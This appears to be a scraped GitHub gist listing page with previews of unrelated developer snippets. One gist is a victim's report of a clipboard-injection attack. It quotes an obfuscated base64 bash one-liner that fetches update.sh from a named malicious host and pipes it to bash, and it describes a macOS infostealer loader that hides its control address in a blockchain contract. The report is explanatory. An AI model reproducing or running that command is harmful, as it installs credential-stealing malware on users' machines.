This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| mkdir test-laya | |
| cd test-laya | |
| uv init | |
| uv add 'laya-coreml[demo]' | |
| hf download aac6fef/laya-multilingual-coreml-ane --local-dir models/snake | |
| uv run laya-coreml-snake --model models/snake |
By being curious. I actually followed the instructions and pasted (cmd+v) into the terminal. The website had already put command in my clipboard. I did not save the actual command but it was something like bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9jYXB1LmNpdHJpeGFwcHNwcm92aWRlbmNlLm9yZy91cGRhdGUuc2gnIHwgYmFzaA==" | base64 -d)
where the base64 content was this url https://capu.citrixappsprovidence.org/update.sh
I have saved the script and turned of the WiFi. Then reinstalled Mac.
A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| rm -rf node_modules && ncu -u && pnpm i |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| traefik-forward-auth: | |
| image: thomseddon/traefik-forward-auth:2 | |
| environment: | |
| - PROVIDERS_GOOGLE_CLIENT_ID= | |
| - PROVIDERS_GOOGLE_CLIENT_SECRET= | |
| - SECRET= | |
| - INSECURE_COOKIE=false | |
| labels: | |
| - traefik.enable=true |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import base64, hashlib, os | |
| print('Searching for a key with valid hash. Hold tight, this might take a minute...') | |
| threshold = 2 ** 234 | |
| attempts = 0 | |
| while True: | |
| attempts += 1 | |
| seed = os.urandom(50) | |
| h = int.from_bytes(hashlib.sha256(seed).digest(), 'big') | |
| if attempts % 100_000 == 0: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import asyncio | |
| import signal | |
| async def hourly_task(): | |
| try: | |
| while True: | |
| print("Running hourly task") | |
| await asyncio.sleep(3) # Sleep for 1 hour | |
| except asyncio.CancelledError: | |
| print("Hourly task canceled") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo apt update && sudo apt upgrade; | |
| sudo apt autoremove nvidia* --purge; | |
| ubuntu-drivers devices; | |
| sudo apt-get install linux-headers-$(uname -r) build-essential; | |
| # reboot | |
| sudo apt install nvidia-cuda-toolkit; | |
| lspci | grep -i nvidia; | |
| sudo apt install nvidia-driver-550; | |
| sudo apt update && sudo apt upgrade; | |
| # reboot |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!make | |
| run: | |
| @if [ $$(($$RANDOM % 2)) -eq 0 ]; then \ | |
| echo 1; \ | |
| else \ | |
| echo 2; \ | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| clean: | |
| docker stop $$(docker ps -aq) || true | |
| docker rm $$(docker ps -aq) || true | |
| docker container prune -f || true | |
| docker rmi $$(docker images -q) || true | |
| docker image prune -f || true | |
| docker volume rm $$(docker volume ls -q) || true | |
| docker-prune: ## Remove all unused containers, networks, images (both dangling and unreferenced), and optionally, volumes. | |
| docker container prune -f |
NewerOlder